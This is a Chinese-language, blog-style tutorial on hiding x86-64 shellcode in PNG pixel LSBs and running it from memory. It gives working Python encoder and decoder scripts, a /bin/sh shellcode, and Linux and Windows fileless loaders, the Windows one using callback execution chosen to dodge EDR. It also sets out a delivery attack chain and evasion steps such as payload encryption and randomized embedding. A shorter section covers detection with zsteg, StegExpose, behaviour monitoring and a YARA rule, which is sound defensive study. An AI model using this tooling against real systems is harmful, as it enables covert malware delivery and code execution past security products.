0x00 为什么是图片

终端安全产品的检测逻辑,核心还是围绕"可执行文件"做文章——扫PE头、查ELF magic、hook进程创建API。但如果载荷从头到尾就没以可执行文件的形式存在过呢?

一张.png:

  • 文件头是合法的 89 50 4E 47
  • 任何图片查看器都能正常渲染
  • 丢给杀软静态扫描:CLEAN

但这张图的每个像素的最低位(LSB),拼起来就是一段shellcode。

0x01 PNG格式

PNG的结构非常干净——一个8字节签名打头,后面跟若干chunk,每个chunk格式统一:

 | Length (4B, big-endian) | Type (4B, ASCII) | Data (Length字节) | CRC32 (4B) |

关键chunk就几个:

Chunk

作用

IHDR

宽高、色深、颜色类型

IDAT

zlib压缩的像素数据

IEND

结束标记,Data长度为0

tEXt/iTXt

文本元数据

gAMA/sRGB

色彩空间信息

我们要动的是IDAT。PNG解码流程:读IDAT → zlib解压 → 得到每行带filter-type前缀的原始像素。对于RGBA模式(颜色类型6),每像素4字节:R、G、B、A。

拿xxd实际看一下PNG文件头:

89 50 4E 47 0D 0A 1A 0A 是PNG的magic number。紧跟的0000 000d表示IHDR的Data长度是13字节。0806中的08是bit depth=8,06是color type=6(RGBA)。

0x02 LSB隐写原理

最低有效位(LSB)隐写的核心思想:每个像素通道(0-255)的最低bit只贡献了1/256的色值,修改它带来的颜色偏差约0.39%,远低于人眼分辨能力。

具体看一个像素的R通道:

原始值 166: 0b_1010_0110
 修改LSB后: 0b_1010_0111  → 167
                       ^
                      色值变化: |167-166|/256 = 0.39%

嵌入策略的选择直接影响容量和隐蔽性:

策略

每像素可用bit

256×256图容量

隐蔽性

仅R通道LSB

1

8 KB

高

RGB三通道LSB

3

24 KB

高

RGBA四通道LSB

4

32 KB

中(A通道改动可能导致半透明区域可见异常)

每通道低2位

6-8

48-64 KB

低(卡方检验很容易抓到)

本文用RGB三通道LSB,Alpha通道不碰。一张256×256的RGBA图就有24KB的有效载荷空间,足够放下绝大多数shellcode。

0x03 编码器实现

数据帧格式

在嵌入之前,先把shellcode打包成一个带校验的数据帧:

 [4字节 payload长度, little-endian] [payload数据] [4字节 CRC32校验]

CRC32覆盖长度头和payload数据,用于接收端验证完整性。如果图片在传输中被重新压缩(比如社交平台会对上传图片重编码),CRC会立即校验失败。

完整编码器代码

steg_encoder.py - 将任意二进制载荷嵌入PNG像素的LSB

#!/usr/bin/env python3

import struct
import zlib
import sys
from PIL import Image
import numpy as np


def encode_payload(cover_path: str, payload: bytes, output_path: str):
    img = Image.open(cover_path).convert("RGBA")
    pixels = np.array(img)
    h, w, _ = pixels.shape

    # 可用bit数:宽 × 高 × 3通道(只用RGB,不碰Alpha)
    capacity_bits = h * w * 3

    # 构造数据帧:长度头 + 载荷 + CRC32
    frame = struct.pack("<I", len(payload)) + payload
    frame += struct.pack("<I", zlib.crc32(frame) & 0xFFFFFFFF)

    required_bits = len(frame) * 8
    if required_bits > capacity_bits:
        raise ValueError(
            f"载荷过大: 需要 {required_bits} bits, "
            f"图片容量 {capacity_bits} bits ({capacity_bits//8} bytes)"
        )

    # 展开为bit数组(MSB-first,与numpy packbits/unpackbits一致)
    bits = np.unpackbits(np.frombuffer(frame, dtype=np.uint8))

    # 拷贝RGB通道、展平、写入LSB、写回
    rgb = pixels[:, :, :3].copy()
    flat = rgb.reshape(-1)
    flat[:len(bits)] = (flat[:len(bits)] & 0xFE) | bits
    pixels[:, :, :3] = rgb.reshape(h, w, 3)

    result = Image.fromarray(pixels, "RGBA")
    result.save(output_path, "PNG", compress_level=9)

    print(f"[+] 嵌入完成: {len(payload)} bytes payload → {output_path}")
    print(f"    帧: {len(frame)} bytes (4 len + {len(payload)} data + 4 crc)")
    print(f"    容量利用率: {required_bits / capacity_bits * 100:.2f}%")


if __name__ == "__main__":
    if len(sys.argv) < 4:
        sys.exit(1)

    cover = sys.argv[1]
    with open(sys.argv[2], "rb") as f:
        payload = f.read()
    output = sys.argv[3]

    encode_payload(cover, payload, output)
  1. pixels[:, :, :3].copy() —— 必须显式拷贝。因为[:, :, :3]在RGBA数组上做slice后不连续,reshape(-1)会返回一份拷贝而非视图,直接修改这个拷贝不会反映到pixels。所以需要拷贝→修改→写回。
  2. np.unpackbits 默认按MSB-first展开,配对使用np.packbits时保持一致就不会出错。
  3. compress_level=9 用最大压缩率。LSB修改会略微影响zlib压缩比,实测文件大小变化通常在几十字节以内,比例远低于1%。

0x04 解码器实现

steg_decoder.py - 从隐写PNG中提取载荷

#!/usr/bin/env python3

import struct
import zlib
import sys
from PIL import Image
import numpy as np


def decode_payload(steg_path: str) -> bytes:
    img = Image.open(steg_path).convert("RGBA")
    pixels = np.array(img)

    flat_rgb = pixels[:, :, :3].reshape(-1)

    # 提取全部LSB
    all_lsb = flat_rgb & 1

    # 先取前32 bit,解出payload长度
    header_bytes = np.packbits(all_lsb[:32]).tobytes()
    payload_len = struct.unpack("<I", header_bytes)[0]

    # 合理性检查:防止损坏图片导致读取超大长度
    max_payload = (len(all_lsb) // 8) - 8  # 减去帧头帧尾
    if payload_len > max_payload or payload_len == 0:
        raise ValueError(
            f"无效的payload长度: {payload_len} "
            f"(最大允许 {max_payload}),图片可能未包含隐写数据"
        )

    # 读完整帧
    frame_len = 4 + payload_len + 4
    frame = np.packbits(all_lsb[:frame_len * 8]).tobytes()

    # CRC32校验
    stored_crc = struct.unpack("<I", frame[-4:])[0]
    calc_crc = zlib.crc32(frame[:-4]) & 0xFFFFFFFF
    if stored_crc != calc_crc:
        raise ValueError(
            f"CRC校验失败: stored=0x{stored_crc:08X}, "
            f"calculated=0x{calc_crc:08X}\n"
            f"图片可能被重新编码或数据已损坏"
        )

    return frame[4 : 4 + payload_len]


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <stego.png> <output_file>")
        sys.exit(1)

    payload = decode_payload(sys.argv[1])
    with open(sys.argv[2], "wb") as f:
        f.write(payload)

    print(f"[+] 提取成功: {len(payload)} bytes → {sys.argv[2]}")
    print(f"    SHA256: {__import__('hashlib').sha256(payload).hexdigest()}")

0x05 实操

准备工作

安装依赖

sudo apt install python3-pil python3-numpy

准备一张cover图片(任何PNG都行,尺寸越大容量越大)

python3 -c "
from PIL import Image
import numpy as np
np.random.seed(42)
# 生成256x256的渐变+噪声图,模拟自然照片
x, y = np.meshgrid(np.linspace(0,1,256), np.linspace(0,1,256))
r = ((np.sin(x*6.28)*0.3+0.5)*255 + np.random.randint(-15,16,(256,256))).clip(0,255)
g = ((np.cos(y*6.28)*0.3+0.5)*255 + np.random.randint(-15,16,(256,256))).clip(0,255)
b = ((np.sin((x+y)*3.14)*0.3+0.5)*255 + np.random.randint(-15,16,(256,256))).clip(0,255)
a = np.full((256,256), 255)
img = Image.fromarray(np.dstack([r,g,b,a]).astype(np.uint8), 'RGBA')
img.save('cover.png')
print(f'cover.png: 256x256 RGBA')
"

这是用Python 直接生成一张测试图。

准备shellcode

这里用一段x86-64 Linux的 execve("/bin/sh") 作为演示载荷。

将shellcode保存为二进制文件:

python3 -c "
sc = bytes.fromhex('4831f65648bb2f62696e2f736800534889e74831d2b03b0f05')
open('shellcode.bin','wb').write(sc)
print(f'shellcode.bin: {len(sc)} bytes')
print('hex:', sc.hex())
"

嵌入

python3 steg_encoder.py cover.png shellcode.bin stego.png

验证

用file命令检查——两个文件都是合法PNG

对比文件大小

ls -la cover.png stego.png

这里相差5字节——PNG的像素数据经过filter+zlib压缩,LSB改动会导致压缩比微小波动,属于正常现象。差异通常在几字节以内,不会引起注意。

对比SHA256——确认文件确实不同

sha256sum cover.png stego.png

提取并校验

python3 steg_decoder.py stego.png extracted.bin

对比提取结果和原始shellcode

diff <(xxd shellcode.bin) <(xxd extracted.bin)

无输出,说明完全一致。

实验效果

左边是原图,中间是嵌入25字节shellcode后的图,右边是差异放大128倍后的可视化。差异放大128倍之后仍然几乎全黑——只有最前面的88个像素(前几行最左侧)的LSB发生了改变。

进一步看LSB位平面:上面一行是原图的R/G/B三个通道的LSB平面(白点=1,黑点=0),下面一行是隐写后的。两者在视觉上完全无法区分。

这是因为载荷太小(33字节帧/196608个可用bit,利用率仅0.13%),修改的像素比例极低。

0x06 无文件加载:从像素到代码执行

提取出shellcode后,关键是不写入磁盘就直接执行。

Linux方案:mmap匿名RWX页

最直接的方式——分配一块可读可写可执行的匿名内存,拷入shellcode,跳过去:

loader_linux.c

/*
 * 仅展示"拿到shellcode bytes后如何无文件执行"
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

int main(int argc, char** argv) {
    /* 假设 shellcode 已通过PNG LSB提取得到 */
    unsigned char sc[] =
        "\x48\x31\xf6\x56\x48\xbb\x2f\x62\x69\x6e"
        "\x2f\x73\x68\x00\x53\x48\x89\xe7\x48\x31"
        "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05";
    size_t sc_len = sizeof(sc) - 1;

    /*
     * mmap分配匿名内存页, 权限RWX
     * MAP_ANONYMOUS: 不关联文件, /proc/pid/maps中显示为[anon]
     * 现代Linux内核如果启用了W^X策略(如SELinux),
     *       同时设置WRITE和EXEC会失败, 需要先WRITE再mprotect为EXEC
     */
    void* mem = mmap(NULL, sc_len,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_ANONYMOUS | MAP_PRIVATE,
                     -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    memcpy(mem, sc, sc_len);

    /* 函数指针跳转 */
    ((void (*)(void))mem)();

    return 0;
}

编译、赋权、执行——一键三连。

gcc -o loader loader_linux.c -Os -s
chmod +x ./loader
./loader

成功 Getshell!

如果系统强制W^X(写和执行互斥),需要两步走:

/*
 * 仅展示"拿到shellcode bytes后如何无文件执行"
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

int main(int argc, char** argv) {
    /* 假设 shellcode 已通过PNG LSB提取得到 */
    unsigned char sc[] =
        "\x48\x31\xf6\x56\x48\xbb\x2f\x62\x69\x6e"
        "\x2f\x73\x68\x00\x53\x48\x89\xe7\x48\x31"
        "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05";
    size_t sc_len = sizeof(sc) - 1;

    /*
     * 先分配RW,写入shellcode
     * MAP_ANONYMOUS: 不关联文件, /proc/pid/maps中显示为[anon]
     */
    void* mem = mmap(NULL, sc_len,
                     PROT_READ | PROT_WRITE,
                     MAP_ANONYMOUS | MAP_PRIVATE,
                     -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    memcpy(mem, sc, sc_len);

    /* 再切换为RX,符合W^X策略 */
    if (mprotect(mem, sc_len, PROT_READ | PROT_EXEC) == -1) {
        perror("mprotect");
        return 1;
    }

    /* 此时mem不可写但可执行 */
    ((void (*)(void))mem)();

    return 0;
}

重新编译,一键三连

gcc -o loader loader_linux.c -Os -s
./loader

另一个选择是 memfd_create——创建一个匿名内存文件描述符,在/proc/pid/fd/下可见但磁盘上没有对应路径。适合需要fexecve()执行完整ELF的场景,但对于纯shellcode用mmap就够了。

Windows方案

Windows上的等价手法:

#include <windows.h>

void exec_shellcode(unsigned char* sc, size_t len) {
    /*
     * VirtualAlloc分配RWX内存
     * PAGE_EXECUTE_READWRITE 会被很多EDR标记,
     * 更隐蔽的做法是先PAGE_READWRITE再VirtualProtect改为PAGE_EXECUTE_READ
     */
    void* mem = VirtualAlloc(NULL, len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);  /* 先RW */
    memcpy(mem, sc, len);

    DWORD old;
    VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old);  /* 再改RX */

    /*
     * 用合法API的回调来间接执行,
     * 调用栈上看起来是 ntdll → EnumSystemLocalesA → callback
     * 而不是直接的 call [shellcode]
     *
     * 常用的callback跳板:
     *   EnumSystemLocalesA / EnumFontsW / EnumChildWindows
     *   CertEnumSystemStore / CreateTimerQueueTimer
     */
    EnumSystemLocalesA((LOCALE_ENUMPROCA)mem, 0);
}

0x07 攻击链

分四个阶段:

  • Phase 1 — 准备:攻击者选择一张正常图片作为cover,将shellcode用编码器嵌入像素LSB,生成隐写图片。
  • Phase 2 — 武器化:生成的PNG文件MIME类型正常,杀软静态扫描无告警,任何图片查看器都能正常显示。
  • Phase 3 — 投递:通过邮件附件、网页<img>标签、即时通讯等渠道发送。注意:微信/Twitter/Facebook等平台会重新编码上传的图片,会破坏LSB数据。需要选择不重编码的信道(邮件附件、自建Web服务器、某些网盘直链)。
  • Phase 4 — 执行:目标主机上的loader读取PNG → 解码像素 → 提取LSB → 校验CRC → 分配RWX内存 → 跳转执行。全程无可执行文件落盘。

0x08 对抗与检测

攻击方的对抗手段

1. 载荷加密

嵌入前用流密码(如ChaCha20/AES-CTR)加密shellcode:

import os
 from Crypto.Cipher import ChaCha20
 
 key = os.urandom(32)
 nonce = os.urandom(8)
 cipher = ChaCha20.new(key=key, nonce=nonce)
 encrypted = cipher.encrypt(shellcode)
 # encrypted 在统计上是均匀随机的,嵌入后不影响图片LSB的随机性分布
 # 密钥通过其他信道传递(DNS TXT记录、另一个HTTP请求等)

加密后的密文是伪随机比特流,和自然图像LSB的随机性非常接近,让统计检测方法(卡方检验、RS分析)更难发现异常。

2. 随机化嵌入位置

不从第一个像素开始线性嵌入,用密钥派生一个伪随机的像素访问顺序:

import hashlib
 import random
 
 def get_pixel_order(key: bytes, total_channels: int) -> list:
     """基于密钥的Fisher-Yates shuffle,生成随机访问序列"""
     seed = int.from_bytes(hashlib.sha256(key).digest()[:8], 'big')
     rng = random.Random(seed)
     indices = list(range(total_channels))
     rng.shuffle(indices)
     return indices

这样即使分析者知道用了LSB隐写,不知道密钥就无法确定哪些像素被修改了,无法提取数据。

3. 选择高频区域嵌入

自然图片中纹理复杂的区域(边缘、噪声多的地方)本身的LSB就比较"随机"。优先选择这些区域嵌入,可以降低统计异常。具体做法是对图片做Laplacian滤波,取响应值大的像素优先使用。

防御方的检测手段

1. 行为检测

隐写图片在静态层面特征极弱,但加载行为有明显模式:

读取图片文件 → 图片解码 → 分配RWX/RX内存 → 向该内存写入数据 → 执行

关键监控点:

  • mmap 带 PROT_EXEC 标志的匿名内存分配
  • VirtualAlloc / VirtualProtect 涉及 PAGE_EXECUTE_* 权限
  • 非典型进程加载图片处理库(一个命令行工具或服务进程突然加载了libpng/GDI+)
  • memfd_create 调用后紧跟 fexecve

2. 隐写分析工具

# zsteg - Ruby工具,快速检测PNG/BMP中的LSB隐写
 $ gem install zsteg
 $ zsteg suspicious.png
 b1,rgb,lsb,xy  .. text: "\x19\x00\x00\x00H1\xF6V..."
 # 如果输出包含可识别的二进制模式(如shellcode字节),高度可疑
 
 # StegExpose - 基于RS分析、卡方检验等统计方法的自动化检测
 # https://github.com/b3dk7/StegExpose
 $ java -jar StegExpose.jar image_directory/

3. 网关重编码

在网络出口对传输的图片做有损转码(PNG→JPEG→PNG 或重新压缩),LSB中的隐写数据会被破坏。代价是图片质量有损失。

4. 内存YARA扫描

载荷最终要在内存中展开执行,YARA规则仍然可以命中:

rule Suspicious_RWX_Shellcode
 {
     meta:
         description = "RWX匿名内存中出现syscall/int80等指令特征"
     strings:
         $linux_syscall = { 0F 05 }
         $linux_int80   = { CD 80 }
         $win_ntdll     = "ntdll.dll" ascii nocase
         $binsh         = "/bin/sh" ascii
     condition:
         2 of them
 }

0x0A 其他可利用的文件格式

PNG不是唯一的选择:

格式

隐写位置

特点

BMP

像素值直接存储,无压缩

最简单,但BMP文件大、现在少见,容易引起怀疑

JPEG

DCT变换系数的LSB

有损压缩,每次保存都会改变系数,嵌入需要在DCT域操作(jsteg算法)

WAV

PCM采样值的LSB

容量巨大——1分钟CD质量音频可藏 ~1MB

GIF

调色板索引排列

容量小,但GIF在Web上极常见

PDF

对象流、空白字符

可利用增量更新、对象间空隙

0x0B 小结

这条链路的核心在于:利用合法文件格式中人眼不敏感的冗余空间,把载荷从"可执行文件"的形态彻底消除,结合内存加载跳过了静态检测的射程。

几个要点:

  • 256×256的PNG就有24KB的嵌入空间,实战中用一张正常分辨率的照片(1920×1080),容量可达750KB+
  • LSB修改不影响文件大小、不影响图片正常显示
  • 弱点在行为层:RWX内存分配 + 图片库加载的组合在正常程序中很罕见,EDR抓这个模式并不困难
  • 社交平台重编码会破坏LSB数据,需要选择不压缩的传输信道

​

本文所有技术内容仅用于网络安全学习、合规防护研究,严禁用于非法入侵、破坏网络、窃取信息等任何违法违规行为。